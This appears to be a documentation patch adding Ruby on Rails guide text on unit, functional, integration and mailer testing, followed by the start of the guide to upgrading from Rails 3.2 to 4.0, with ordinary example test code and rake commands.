+NOTE: `db:test:prepare` will fail with an error if `db/schema.rb` doesn't exist.
+
+#### Rake Tasks for Preparing your Application for Testing
+
+| Tasks | Description |
+| ------------------------------ | ------------------------------------------------------------------------- |
+| `rake db:test:clone` | Recreate the test database from the current environment's database schema |
+| `rake db:test:clone_structure` | Recreate the test database from the development structure |
+| `rake db:test:load` | Recreate the test database from the current `schema.rb` |
+| `rake db:test:prepare` | Check for pending migrations and load the test schema |
+| `rake db:test:purge` | Empty the test database. |
+
+TIP: You can see all these rake tasks and their descriptions by running `rake --tasks --describe`
+
+### Running Tests
+
+Running a test is as simple as invoking the file containing the test cases through `rake test` command.
+
+```bash
+$ rake test test/models/post_test.rb
+.
+
+Finished tests in 0.009262s, 107.9680 tests/s, 107.9680 assertions/s.
+
+1 tests, 1 assertions, 0 failures, 0 errors, 0 skips
+```
+
+You can also run a particular test method from the test case by running the test and providing the `test method name`.
+
+```bash
+$ rake test test/models/post_test.rb test_the_truth
+.
+
+Finished tests in 0.009064s, 110.3266 tests/s, 110.3266 assertions/s.
+
+1 tests, 1 assertions, 0 failures, 0 errors, 0 skips
+```
+
+This will run all test methods from the test case. Note that `test_helper.rb` is in the `test` directory, hence this directory needs to be added to the load path using the `-I` switch.
+
+The `.` (dot) above indicates a passing test. When a test fails you see an `F`; when a test throws an error you see an `E` in its place. The last line of the output is the summary.
+
+To see how a test failure is reported, you can add a failing test to the `post_test.rb` test case.
+
+```ruby
+test "should not save post without title" do
+ post = Post.new
+ assert !post.save
+end
+```
+
+Let us run this newly added test.
+
+```bash
+$ rake test test/models/post_test.rb test_should_not_save_post_without_title
+F
+
+Finished tests in 0.044632s, 22.4054 tests/s, 22.4054 assertions/s.
+
+ 1) Failure:
+test_should_not_save_post_without_title(PostTest) [test/models/post_test.rb:6]:
+Failed assertion, no message given.
+
+1 tests, 1 assertions, 1 failures, 0 errors, 0 skips
+```
+
+In the output, `F` denotes a failure. You can see the corresponding trace shown under `1)` along with the name of the failing test. The next few lines contain the stack trace followed by a message which mentions the actual value and the expected value by the assertion. The default assertion messages provide just enough information to help pinpoint the error. To make the assertion failure message more readable, every assertion provides an optional message parameter, as shown here:
+
+```ruby
+test "should not save post without title" do
+ post = Post.new
+ assert !post.save, "Saved the post without a title"
+end
+```
+
+Running this test shows the friendlier assertion message:
+
+```bash
+ 1) Failure:
+test_should_not_save_post_without_title(PostTest) [test/models/post_test.rb:6]:
+Saved the post without a title
+```
+
+Now to get this test to pass we can add a model level validation for the _title_ field.
+
+```ruby
+class Post < ActiveRecord::Base
+ validates :title, presence: true
+end
+```
+
+Now the test should pass. Let us verify by running the test again:
+
+```bash
+$ rake test test/models/post_test.rb test_should_not_save_post_without_title
+.
+
+Finished tests in 0.047721s, 20.9551 tests/s, 20.9551 assertions/s.
+
+1 tests, 1 assertions, 0 failures, 0 errors, 0 skips
+```
+
+Now, if you noticed, we first wrote a test which fails for a desired functionality, then we wrote some code which adds the functionality and finally we ensured that our test passes. This approach to software development is referred to as _Test-Driven Development_ (TDD).
+
+TIP: Many Rails developers practice _Test-Driven Development_ (TDD). This is an excellent way to build up a test suite that exercises every part of your application. TDD is beyond the scope of this guide, but one place to start is with [15 TDD steps to create a Rails application](http://andrzejonsoftware.blogspot.com/2007/05/15-tdd-steps-to-create-rails.html).
+
+To see how an error gets reported, here's a test containing an error:
+
+```ruby
+test "should report error" do
+ # some_undefined_variable is not defined elsewhere in the test case
+ some_undefined_variable
+ assert true
+end
+```
+
+Now you can see even more output in the console from running the tests:
+
+```bash
+$ rake test test/models/post_test.rb test_should_report_error
+E
+
+Finished tests in 0.030974s, 32.2851 tests/s, 0.0000 assertions/s.
+
+ 1) Error:
+test_should_report_error(PostTest):
+NameError: undefined local variable or method `some_undefined_variable' for #<PostTest:0x007fe32e24afe0>
+ test/models/post_test.rb:10:in `block in <class:PostTest>'
+
+1 tests, 0 assertions, 0 failures, 1 errors, 0 skips
+```
+
+Notice the 'E' in the output. It denotes a test with error.
+
+NOTE: The execution of each test method stops as soon as any error or an assertion failure is encountered, and the test suite continues with the next method. All test methods are executed in alphabetical order.
+
+### What to Include in Your Unit Tests
+
+Ideally, you would like to include a test for everything which could possibly break. It's a good practice to have at least one test for each of your validations and at least one test for every method in your model.
+
+### Assertions Available
+
+By now you've caught a glimpse of some of the assertions that are available. Assertions are the worker bees of testing. They are the ones that actually perform the checks to ensure that things are going as planned.
+
+There are a bunch of different types of assertions you can use. Here's the complete list of assertions that ship with `test/unit`, the default testing library used by Rails. The `[msg]` parameter is an optional string message you can specify to make your test failure messages clearer. It's not required.
+
+| Assertion | Purpose |
+| ---------------------------------------------------------------- | ------- |
+| `assert( boolean, [msg] )` | Ensures that the object/expression is true.|
+| `assert_equal( expected, actual, [msg] )` | Ensures that `expected == actual` is true.|
+| `assert_not_equal( expected, actual, [msg] )` | Ensures that `expected != actual` is true.|
+| `assert_same( expected, actual, [msg] )` | Ensures that `expected.equal?(actual)` is true.|
+| `assert_not_same( expected, actual, [msg] )` | Ensures that `!expected.equal?(actual)` is true.|
+| `assert_nil( obj, [msg] )` | Ensures that `obj.nil?` is true.|
+| `assert_not_nil( obj, [msg] )` | Ensures that `!obj.nil?` is true.|
+| `assert_match( regexp, string, [msg] )` | Ensures that a string matches the regular expression.|
+| `assert_no_match( regexp, string, [msg] )` | Ensures that a string doesn't match the regular expression.|
+| `assert_in_delta( expecting, actual, delta, [msg] )` | Ensures that the numbers `expecting` and `actual` are within `delta` of each other.|
+| `assert_throws( symbol, [msg] ) { block }` | Ensures that the given block throws the symbol.|
+| `assert_raise( exception1, exception2, ... ) { block }` | Ensures that the given block raises one of the given exceptions.|
+| `assert_nothing_raised( exception1, exception2, ... ) { block }` | Ensures that the given block doesn't raise one of the given exceptions.|
+| `assert_instance_of( class, obj, [msg] )` | Ensures that `obj` is of the `class` type.|
+| `assert_kind_of( class, obj, [msg] )` | Ensures that `obj` is or descends from `class`.|
+| `assert_respond_to( obj, symbol, [msg] )` | Ensures that `obj` has a method called `symbol`.|
+| `assert_operator( obj1, operator, obj2, [msg] )` | Ensures that `obj1.operator(obj2)` is true.|
+| `assert_send( array, [msg] )` | Ensures that executing the method listed in `array[1]` on the object in `array[0]` with the parameters of `array[2 and up]` is true. This one is weird eh?|
+| `flunk( [msg] )` | Ensures failure. This is useful to explicitly mark a test that isn't finished yet.|
+
+Because of the modular nature of the testing framework, it is possible to create your own assertions. In fact, that's exactly what Rails does. It includes some specialized assertions to make your life easier.
+
+NOTE: Creating your own assertions is an advanced topic that we won't cover in this tutorial.
+
+### Rails Specific Assertions
+
+Rails adds some custom assertions of its own to the `test/unit` framework:
+
+| Assertion | Purpose |
+| --------------------------------------------------------------------------------- | ------- |
+| `assert_difference(expressions, difference = 1, message = nil) {...}` | Test numeric difference between the return value of an expression as a result of what is evaluated in the yielded block.|
+| `assert_no_difference(expressions, message = nil, &block)` | Asserts that the numeric result of evaluating an expression is not changed before and after invoking the passed in block.|
+| `assert_recognizes(expected_options, path, extras={}, message=nil)` | Asserts that the routing of the given path was handled correctly and that the parsed options (given in the expected_options hash) match path. Basically, it asserts that Rails recognizes the route given by expected_options.|
+| `assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)` | Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extras parameter is used to tell the request the names and values of additional request parameters that would be in a query string. The message parameter allows you to specify a custom error message for assertion failures.|
+| `assert_response(type, message = nil)` | Asserts that the response comes with a specific status code. You can specify `:success` to indicate 200-299, `:redirect` to indicate 300-399, `:missing` to indicate 404, or `:error` to match the 500-599 range|
+| `assert_redirected_to(options = {}, message=nil)` | Assert that the redirection options passed in match those of the redirect called in the latest action. This match can be partial, such that `assert_redirected_to(controller: "weblog")` will also match the redirection of `redirect_to(controller: "weblog", action: "show")` and so on.|
+| `assert_template(expected = nil, message=nil)` | Asserts that the request was rendered with the appropriate template file.|
+
+You'll see the usage of some of these assertions in the next chapter.
+
+Functional Tests for Your Controllers
+-------------------------------------
+
+In Rails, testing the various actions of a single controller is called writing functional tests for that controller. Controllers handle the incoming web requests to your application and eventually respond with a rendered view.
+
+### What to Include in your Functional Tests
+
+You should test for things such as:
+
+* was the web request successful?
+* was the user redirected to the right page?
+* was the user successfully authenticated?
+* was the correct object stored in the response template?
+* was the appropriate message displayed to the user in the view?
+
+Now that we have used Rails scaffold generator for our `Post` resource, it has already created the controller code and tests. You can take look at the file `posts_controller_test.rb` in the `test/controllers` directory.
+
+Let me take you through one such test, `test_should_get_index` from the file `posts_controller_test.rb`.
+
+```ruby
+test "should get index" do
+ get :index
+ assert_response :success
+ assert_not_nil assigns(:posts)
+end
+```
+
+In the `test_should_get_index` test, Rails simulates a request on the action called `index`, making sure the request was successful and also ensuring that it assigns a valid `posts` instance variable.
+
+The `get` method kicks off the web request and populates the results into the response. It accepts 4 arguments:
+
+* The action of the controller you are requesting. This can be in the form of a string or a symbol.
+* An optional hash of request parameters to pass into the action (eg. query string parameters or post variables).
+* An optional hash of session variables to pass along with the request.
+* An optional hash of flash values.
+
+Example: Calling the `:show` action, passing an `id` of 12 as the `params` and setting a `user_id` of 5 in the session:
+
+```ruby
+get(:show, {'id' => "12"}, {'user_id' => 5})
+```
+
+Another example: Calling the `:view` action, passing an `id` of 12 as the `params`, this time with no session, but with a flash message.
+
+```ruby
+get(:view, {'id' => '12'}, nil, {'message' => 'booya!'})
+```
+
+NOTE: If you try running `test_should_create_post` test from `posts_controller_test.rb` it will fail on account of the newly added model level validation and rightly so.
+
+Let us modify `test_should_create_post` test in `posts_controller_test.rb` so that all our test pass:
+
+```ruby
+test "should create post" do
+ assert_difference('Post.count') do
+ post :create, post: {title: 'Some title'}
+ end
+
+ assert_redirected_to post_path(assigns(:post))
+end
+```
+
+Now you can try running all the tests and they should pass.
+
+### Available Request Types for Functional Tests
+
+If you're familiar with the HTTP protocol, you'll know that `get` is a type of request. There are 6 request types supported in Rails functional tests:
+
+* `get`
+* `post`
+* `patch`
+* `put`
+* `head`
+* `delete`
+
+All of request types are methods that you can use, however, you'll probably end up using the first two more often than the others.
+
+NOTE: Functional tests do not verify whether the specified request type should be accepted by the action. Request types in this context exist to make your tests more descriptive.
+
+### The Four Hashes of the Apocalypse
+
+After a request has been made by using one of the 5 methods (`get`, `post`, etc.) and processed, you will have 4 Hash objects ready for use:
+
+* `assigns` - Any objects that are stored as instance variables in actions for use in views.
+* `cookies` - Any cookies that are set.
+* `flash` - Any objects living in the flash.
+* `session` - Any object living in session variables.
+
+As is the case with normal Hash objects, you can access the values by referencing the keys by string. You can also reference them by symbol name, except for `assigns`. For example:
+
+```ruby
+flash["gordon"] flash[:gordon]
+session["shmession"] session[:shmession]
+cookies["are_good_for_u"] cookies[:are_good_for_u]
+
+# Because you can't use assigns[:something] for historical reasons:
+assigns["something"] assigns(:something)
+```
+
+### Instance Variables Available
+
+You also have access to three instance variables in your functional tests:
+
+* `@controller` - The controller processing the request
+* `@request` - The request
+* `@response` - The response
+
+### Setting Headers and CGI variables
+
+Headers and cgi variables can be set directly on the `@request`
+instance variable:
+
+```ruby
+# setting a HTTP Header
+ at request.headers["Accepts"] = "text/plain, text/html"
+get :index # simulate the request with custom header
+
+# setting a CGI variable
+ at request.headers["HTTP_REFERER"] = "http://example.com/home"
+post :create # simulate the request with custom env variable
+```
+
+### Testing Templates and Layouts
+
+If you want to make sure that the response rendered the correct template and layout, you can use the `assert_template`
+method:
+
+```ruby
+test "index should render correct template and layout" do
+ get :index
+ assert_template :index
+ assert_template layout: "layouts/application"
+end
+```
+
+Note that you cannot test for template and layout at the same time, with one call to `assert_template` method.
+Also, for the `layout` test, you can give a regular expression instead of a string, but using the string, makes
+things clearer. On the other hand, you have to include the "layouts" directory name even if you save your layout
+file in this standard layout directory. Hence,
+
+```ruby
+assert_template layout: "application"
+```
+
+will not work.
+
+If your view renders any partial, when asserting for the layout, you have to assert for the partial at the same time.
+Otherwise, assertion will fail.
+
+Hence:
+
+```ruby
+test "new should render correct layout" do
+ get :new
+ assert_template layout: "layouts/application", partial: "_form"
+end
+```
+
+is the correct way to assert for the layout when the view renders a partial with name `_form`. Omitting the `:partial` key in your `assert_template` call will complain.
+
+### A Fuller Functional Test Example
+
+Here's another example that uses `flash`, `assert_redirected_to`, and `assert_difference`:
+
+```ruby
+test "should create post" do
+ assert_difference('Post.count') do
+ post :create, post: {title: 'Hi', body: 'This is my first post.'}
+ end
+ assert_redirected_to post_path(assigns(:post))
+ assert_equal 'Post was successfully created.', flash[:notice]
+end
+```
+
+### Testing Views
+
+Testing the response to your request by asserting the presence of key HTML elements and their content is a useful way to test the views of your application. The `assert_select` assertion allows you to do this by using a simple yet powerful syntax.
+
+NOTE: You may find references to `assert_tag` in other documentation, but this is now deprecated in favor of `assert_select`.
+
+There are two forms of `assert_select`:
+
+`assert_select(selector, [equality], [message])` ensures that the equality condition is met on the selected elements through the selector. The selector may be a CSS selector expression (String), an expression with substitution values, or an `HTML::Selector` object.
+
+`assert_select(element, selector, [equality], [message])` ensures that the equality condition is met on all the selected elements through the selector starting from the _element_ (instance of `HTML::Node`) and its descendants.
+
+For example, you could verify the contents on the title element in your response with:
+
+```ruby
+assert_select 'title', "Welcome to Rails Testing Guide"
+```
+
+You can also use nested `assert_select` blocks. In this case the inner `assert_select` runs the assertion on the complete collection of elements selected by the outer `assert_select` block:
+
+```ruby
+assert_select 'ul.navigation' do
+ assert_select 'li.menu_item'
+end
+```
+
+Alternatively the collection of elements selected by the outer `assert_select` may be iterated through so that `assert_select` may be called separately for each element. Suppose for example that the response contains two ordered lists, each with four list elements then the following tests will both pass.
+
+```ruby
+assert_select "ol" do |elements|
+ elements.each do |element|
+ assert_select element, "li", 4
+ end
+end
+
+assert_select "ol" do
+ assert_select "li", 8
+end
+```
+
+The `assert_select` assertion is quite powerful. For more advanced usage, refer to its [documentation](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/SelectorAssertions.html).
+
+#### Additional View-Based Assertions
+
+There are more assertions that are primarily used in testing views:
+
+| Assertion | Purpose |
+| ---------------------------------------------------------- | ------- |
+| `assert_select_email` | Allows you to make assertions on the body of an e-mail. |
+| `assert_select_encoded` | Allows you to make assertions on encoded HTML. It does this by un-encoding the contents of each element and then calling the block with all the un-encoded elements.|
+| `css_select(selector)` or `css_select(element, selector)` | Returns an array of all the elements selected by the _selector_. In the second variant it first matches the base _element_ and tries to match the _selector_ expression on any of its children. If there are no matches both variants return an empty array.|
+
+Here's an example of using `assert_select_email`:
+
+```ruby
+assert_select_email do
+ assert_select 'small', 'Please click the "Unsubscribe" link if you want to opt-out.'
+end
+```

+-------------------
+
+Integration tests are used to test the interaction among any number of controllers. They are generally used to test important work flows within your application.
+
+Unlike Unit and Functional tests, integration tests have to be explicitly created under the 'test/integration' folder within your application. Rails provides a generator to create an integration test skeleton for you.
+
+```bash
+$ rails generate integration_test user_flows
+ exists test/integration/
+ create test/integration/user_flows_test.rb
+```
+
+Here's what a freshly-generated integration test looks like:
+
+```ruby
+require 'test_helper'
+
+class UserFlowsTest < ActionDispatch::IntegrationTest
+ # test "the truth" do
+ # assert true
+ # end
+end
+```
+
+Integration tests inherit from `ActionDispatch::IntegrationTest`. This makes available some additional helpers to use in your integration tests. Also you need to explicitly include the fixtures to be made available to the test.
+
+### Helpers Available for Integration Tests
+
+In addition to the standard testing helpers, there are some additional helpers available to integration tests:
+
+| Helper | Purpose |
+| ------------------------------------------------------------------ | ------- |
+| `https?` | Returns `true` if the session is mimicking a secure HTTPS request.|
+| `https!` | Allows you to mimic a secure HTTPS request.|
+| `host!` | Allows you to set the host name to use in the next request.|
+| `redirect?` | Returns `true` if the last request was a redirect.|
+| `follow_redirect!` | Follows a single redirect response.|
+| `request_via_redirect(http_method, path, [parameters], [headers])` | Allows you to make an HTTP request and follow any subsequent redirects.|
+| `post_via_redirect(path, [parameters], [headers])` | Allows you to make an HTTP POST request and follow any subsequent redirects.|
+| `get_via_redirect(path, [parameters], [headers])` | Allows you to make an HTTP GET request and follow any subsequent redirects.|
+| `patch_via_redirect(path, [parameters], [headers])` | Allows you to make an HTTP PATCH request and follow any subsequent redirects.|
+| `put_via_redirect(path, [parameters], [headers])` | Allows you to make an HTTP PUT request and follow any subsequent redirects.|
+| `delete_via_redirect(path, [parameters], [headers])` | Allows you to make an HTTP DELETE request and follow any subsequent redirects.|
+| `open_session` | Opens a new session instance.|
+
+### Integration Testing Examples
+
+A simple integration test that exercises multiple controllers:
+
+```ruby
+require 'test_helper'
+
+class UserFlowsTest < ActionDispatch::IntegrationTest
+ fixtures :users
+
+ test "login and browse site" do
+ # login via https
+ https!
+ get "/login"
+ assert_response :success
+
+ post_via_redirect "/login", username: users(:david).username, password: users(:david).password
+ assert_equal '/welcome', path
+ assert_equal 'Welcome david!', flash[:notice]
+
+ https!(false)
+ get "/posts/all"
+ assert_response :success
+ assert assigns(:products)
+ end
+end
+```
+
+As you can see the integration test involves multiple controllers and exercises the entire stack from database to dispatcher. In addition you can have multiple session instances open simultaneously in a test and extend those instances with assertion methods to create a very powerful testing DSL (domain-specific language) just for your application.
+
+Here's an example of multiple sessions and custom DSL in an integration test
+
+```ruby
+require 'test_helper'
+
+class UserFlowsTest < ActionDispatch::IntegrationTest
+ fixtures :users
+
+ test "login and browse site" do
+
+ # User david logs in
+ david = login(:david)
+ # User guest logs in
+ guest = login(:guest)
+
+ # Both are now available in different sessions
+ assert_equal 'Welcome david!', david.flash[:notice]
+ assert_equal 'Welcome guest!', guest.flash[:notice]
+
+ # User david can browse site
+ david.browses_site
+ # User guest can browse site as well
+ guest.browses_site
+
+ # Continue with other assertions
+ end
+
+ private
+
+ module CustomDsl
+ def browses_site
+ get "/products/all"
+ assert_response :success
+ assert assigns(:products)
+ end
+ end
+
+ def login(user)
+ open_session do |sess|
+ sess.extend(CustomDsl)
+ u = users(user)
+ sess.https!
+ sess.post "/login", username: u.username, password: u.password
+ assert_equal '/welcome', path
+ sess.https!(false)
+ end
+ end
+end
+```
+
+Rake Tasks for Running your Tests
+---------------------------------
+
+You don't need to set up and run your tests by hand on a test-by-test basis. Rails comes with a number of commands to help in testing. The table below lists all commands that come along in the default Rakefile when you initiate a Rails project.
+
+| Tasks | Description |
+| ------------------------ | ----------- |
+| `rake test` | Runs all unit, functional and integration tests. You can also simply run `rake test` as Rails will run all the tests by default|
+| `rake test:controllers` | Runs all the controller tests from `test/controllers`|
+| `rake test:functionals` | Runs all the functional tests from `test/controllers`, `test/mailers`, and `test/functional`|
+| `rake test:helpers` | Runs all the helper tests from `test/helpers`|
+| `rake test:integration` | Runs all the integration tests from `test/integration`|
+| `rake test:mailers` | Runs all the mailer tests from `test/mailers`|
+| `rake test:models` | Runs all the model tests from `test/models`|
+| `rake test:units` | Runs all the unit tests from `test/models`, `test/helpers`, and `test/unit`|
+
+There're also some test commands which you can initiate by running rake tasks:
+
+| Tasks | Description |
+| ------------------------ | ----------- |
+| `rake test` | Runs all unit, functional and integration tests. You can also simply run `rake` as the _test_ target is the default.|
+| `rake test:recent` | Tests recent changes|
+| `rake test:uncommitted` | Runs all the tests which are uncommitted. Supports Subversion and Git|
+
+Brief Note About `MiniTest`
+-----------------------------
+
+Ruby ships with a boat load of libraries. Ruby 1.8 provides `Test::Unit`, a framework for unit testing in Ruby. All the basic assertions discussed above are actually defined in `Test::Unit::Assertions`. The class `ActiveSupport::TestCase` which we have been using in our unit and functional tests extends `Test::Unit::TestCase`, allowing
+us to use all of the basic assertions in our tests.
+
+Ruby 1.9 introduced `MiniTest`, an updated version of `Test::Unit` which provides a backwards compatible API for `Test::Unit`. You could also use `MiniTest` in Ruby 1.8 by installing the `minitest` gem.
+
+NOTE: For more information on `Test::Unit`, refer to [test/unit Documentation](http://ruby-doc.org/stdlib/libdoc/test/unit/rdoc/)
+For more information on `MiniTest`, refer to [Minitest](http://www.ruby-doc.org/stdlib-1.9.3/libdoc/minitest/unit/rdoc/)
+
+Setup and Teardown
+------------------
+
+If you would like to run a block of code before the start of each test and another block of code after the end of each test you have two special callbacks for your rescue. Let's take note of this by looking at an example for our functional test in `Posts` controller:
+
+```ruby
+require 'test_helper'
+
+class PostsControllerTest < ActionController::TestCase
+
+ # called before every single test
+ def setup
+ @post = posts(:one)
+ end
+
+ # called after every single test
+ def teardown
+ # as we are re-initializing @post before every test
+ # setting it to nil here is not essential but I hope
+ # you understand how you can use the teardown method
+ @post = nil
+ end
+
+ test "should show post" do
+ get :show, id: @post.id
+ assert_response :success
+ end
+
+ test "should destroy post" do
+ assert_difference('Post.count', -1) do
+ delete :destroy, id: @post.id
+ end
+
+ assert_redirected_to posts_path
+ end
+
+end
+```
+
+Above, the `setup` method is called before each test and so `@post` is available for each of the tests. Rails implements `setup` and `teardown` as `ActiveSupport::Callbacks`. Which essentially means you need not only use `setup` and `teardown` as methods in your tests. You could specify them by using:
+
+* a block
+* a method (like in the earlier example)
+* a method name as a symbol
+* a lambda
+
+Let's see the earlier example by specifying `setup` callback by specifying a method name as a symbol:
+
+```ruby
+require 'test_helper'
+
+class PostsControllerTest < ActionController::TestCase
+
+ # called before every single test
+ setup :initialize_post
+
+ # called after every single test
+ def teardown
+ @post = nil
+ end
+
+ test "should show post" do
+ get :show, id: @post.id
+ assert_response :success
+ end
+
+ test "should update post" do
+ patch :update, id: @post.id, post: {}
+ assert_redirected_to post_path(assigns(:post))
+ end
+
+ test "should destroy post" do
+ assert_difference('Post.count', -1) do
+ delete :destroy, id: @post.id
+ end
+
+ assert_redirected_to posts_path
+ end
+
+ private
+
+ def initialize_post
+ @post = posts(:one)
+ end
+
+end
+```
+
+Testing Routes
+--------------
+
+Like everything else in your Rails application, it is recommended that you test your routes. An example test for a route in the default `show` action of `Posts` controller above should look like:
+
+```ruby
+test "should route to post" do
+ assert_routing '/posts/1', {controller: "posts", action: "show", id: "1"}
+end
+```
+
+Testing Your Mailers
+--------------------
+
+Testing mailer classes requires some specific tools to do a thorough job.
+
+### Keeping the Postman in Check
+
+Your mailer classes — like every other part of your Rails application — should be tested to ensure that it is working as expected.
+
+The goals of testing your mailer classes are to ensure that:
+
+* emails are being processed (created and sent)
+* the email content is correct (subject, sender, body, etc)
+* the right emails are being sent at the right times
+
+#### From All Sides
+
+There are two aspects of testing your mailer, the unit tests and the functional tests. In the unit tests, you run the mailer in isolation with tightly controlled inputs and compare the output to a known value (a fixture.) In the functional tests you don't so much test the minute details produced by the mailer; instead, we test that our controllers and models are using the mailer in the right way. You test to prove that the right email was sent at the right time.
+
+### Unit Testing
+
+In order to test that your mailer is working as expected, you can use unit tests to compare the actual results of the mailer with pre-written examples of what should be produced.
+
+#### Revenge of the Fixtures
+
+For the purposes of unit testing a mailer, fixtures are used to provide an example of how the output _should_ look. Because these are example emails, and not Active Record data like the other fixtures, they are kept in their own subdirectory apart from the other fixtures. The name of the directory within `test/fixtures` directly corresponds to the name of the mailer. So, for a mailer named `UserMailer`, the fixtures should reside in `test/fixtures/user_mailer` directory.
+
+When you generated your mailer, the generator creates stub fixtures for each of the mailers actions. If you didn't use the generator you'll have to make those files yourself.
+
+#### The Basic Test Case
+
+Here's a unit test to test a mailer named `UserMailer` whose action `invite` is used to send an invitation to a friend. It is an adapted version of the base test created by the generator for an `invite` action.
+
+```ruby
+require 'test_helper'
+
+class UserMailerTest < ActionMailer::TestCase
+ tests UserMailer
+ test "invite" do
+ # Send the email, then test that it got queued
+ email = UserMailer.create_invite('me at example.com',
+ 'friend at example.com', Time.now).deliver
+ assert !ActionMailer::Base.deliveries.empty?
+
+ # Test the body of the sent email contains what we expect it to
+ assert_equal ['me at example.com'], email.from
+ assert_equal ['friend at example.com'], email.to
+ assert_equal 'You have been invited by me at example.com', email.subject
+ assert_equal read_fixture('invite').join, email.body.to_s
+ end
+end
+```
+
+In the test we send the email and store the returned object in the `email`
+variable. We then ensure that it was sent (the first assert), then, in the
+second batch of assertions, we ensure that the email does indeed contain what we
+expect. The helper `read_fixture` is used to read in the content from this file.
+
+Here's the content of the `invite` fixture:
+
+```
+Hi friend at example.com,
+
+You have been invited.
+
+Cheers!
+```
+
+This is the right time to understand a little more about writing tests for your
+mailers. The line `ActionMailer::Base.delivery_method = :test` in
+`config/environments/test.rb` sets the delivery method to test mode so that
+email will not actually be delivered (useful to avoid spamming your users while
+testing) but instead it will be appended to an array
+(`ActionMailer::Base.deliveries`).
+
+NOTE: The `ActionMailer::Base.deliveries` array is only reset automatically in
+`ActionMailer::TestCase` tests. If you want to have a clean slate outside Action
+Mailer tests, you can reset it manually with:
+`ActionMailer::Base.deliveries.clear`
+
+### Functional Testing
+
+Functional testing for mailers involves more than just checking that the email body, recipients and so forth are correct. In functional mail tests you call the mail deliver methods and check that the appropriate emails have been appended to the delivery list. It is fairly safe to assume that the deliver methods themselves do their job. You are probably more interested in whether your own business logic is sending emails when you expect them to go out. For example, you can check that the [...]
+
+```ruby
+require 'test_helper'
+
+class UserControllerTest < ActionController::TestCase
+ test "invite friend" do
+ assert_difference 'ActionMailer::Base.deliveries.size', +1 do
+ post :invite_friend, email: 'friend at example.com'
+ end
+ invite_email = ActionMailer::Base.deliveries.last
+
+ assert_equal "You have been invited by me at example.com", invite_email.subject
+ assert_equal 'friend at example.com', invite_email.to[0]
+ assert_match(/Hi friend at example.com/, invite_email.body)
+ end
+end
+```
+
+Other Testing Approaches
+------------------------
+
+The built-in `test/unit` based testing is not the only way to test Rails applications. Rails developers have come up with a wide variety of other approaches and aids for testing, including:
+
+* [NullDB](http://avdi.org/projects/nulldb/), a way to speed up testing by avoiding database use.
+* [Factory Girl](https://github.com/thoughtbot/factory_girl/tree/master), a replacement for fixtures.
+* [Machinist](https://github.com/notahat/machinist/tree/master), another replacement for fixtures.
+* [MiniTest::Spec Rails](https://github.com/metaskills/minitest-spec-rails), use the MiniTest::Spec DSL within your rails tests.
+* [Shoulda](http://www.thoughtbot.com/projects/shoulda), an extension to `test/unit` with additional helpers, macros, and assertions.
+* [RSpec](http://relishapp.com/rspec), a behavior-driven development framework

+A Guide for Upgrading Ruby on Rails
+===================================
+
+This guide provides steps to be followed when you upgrade your applications to a newer version of Ruby on Rails. These steps are also available in individual release guides.
+
+General Advice
+--------------
+
+Before attempting to upgrade an existing application, you should be sure you have a good reason to upgrade. You need to balance out several factors: the need for new features, the increasing difficulty of finding support for old code, and your available time and skills, to name a few.
+
+### Test Coverage
+
+The best way to be sure that your application still works after upgrading is to have good test coverage before you start the process. If you don't have automated tests that exercise the bulk of your application, you'll need to spend time manually exercising all the parts that have changed. In the case of a Rails upgrade, that will mean every single piece of functionality in the application. Do yourself a favor and make sure your test coverage is good _before_ you start an upgrade.
+
+### Ruby Versions
+
+Rails generally stays close to the latest released Ruby version when it's released:
+
+* Rails 3 and above require Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially. You should upgrade as early as possible.
+* Rails 3.2.x is the last branch to support Ruby 1.8.7.
+* Rails 4 prefers Ruby 2.0 and requires 1.9.3 or newer.
+
+TIP: Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump straight to 1.9.3 for smooth sailing.
+
+Upgrading from Rails 3.2 to Rails 4.0
+-------------------------------------
+
+NOTE: This section is a work in progress.
+
+If your application is currently on any version of Rails older than 3.2.x, you should upgrade to Rails 3.2 before attempting one to Rails 4.0.
+
+The following changes are meant for upgrading your application to Rails 4.0.
+
+### Gemfile
+
+Rails 4.0 removed the `assets` group from Gemfile. You'd need to remove that line from your Gemfile when upgrading.
+
+### vendor/plugins
+
+Rails 4.0 no longer supports loading plugins from `vendor/plugins`. You must replace any plugins by extracting them to gems and adding them to your Gemfile. If you choose not to make them gems, you can move them into, say, `lib/my_plugin/*` and add an appropriate initializer in `config/initializers/my_plugin.rb`.
+
+### Active Record
+
+* Rails 4.0 has removed the identity map from Active Record, due to [some inconsistencies with associations](https://github.com/rails/rails/commit/302c912bf6bcd0fa200d964ec2dc4a44abe328a6). If you have manually enabled it in your application, you will have to remove the following config that has no effect anymore: `config.active_record.identity_map`.
+
+* The `delete` method in collection associations can now receive `Fixnum` or `String` arguments as record ids, besides records, pretty much like the `destroy` method does. Previously it raised `ActiveRecord::AssociationTypeMismatch` for such arguments. From Rails 4.0 on `delete` automatically tries to find the records matching the given ids before deleting them.
+
+* Rails 4.0 has changed how orders get stacked in `ActiveRecord::Relation`. In previous versions of Rails, the new order was applied after the previously defined order. But this is no longer true. Check [Active Record Query guide](active_record_querying.html#ordering) for more information.
+
+* Rails 4.0 has changed `serialized_attributes` and `attr_readonly` to class methods only. You shouldn't use instance methods since it's now deprecated. You should change them to use class methods, e.g. `self.serialized_attributes` to `self.class.serialized_attributes`.
+
+* Rails 4.0 has removed `attr_accessible` and `attr_protected` feature in favor of Strong Parameters. You can use the [Protected Attributes gem](https://github.com/rails/protected_attributes) to a smoothly upgrade path.
+
+* Rails 4.0 requires that scopes use a callable object such as a Proc or lambda:
+
+```ruby
+ scope :active, where(active: true)
+
+ # becomes
+ scope :active, -> { where active: true }
+```
+
+* Rails 4.0 has deprecated `ActiveRecord::Fixtures` in favor of `ActiveRecord::FixtureSet`.
+* Rails 4.0 has deprecated `ActiveRecord::TestCase` in favor of `ActiveSupport::TestCase`.
+
+### Active Resource
+
+Rails 4.0 extracted Active Resource to its own gem. If you still need the feature you can add the [Active Resource gem](https://github.com/rails/activeresource) in your Gemfile.
+
+### Active Model
+
+* Rails 4.0 has changed how errors attach with the `ActiveModel::Validations::ConfirmationValidator`. Now when confirmation validations fail, the error will be attached to `:#{attribute}_confirmation` instead of `attribute`.
+
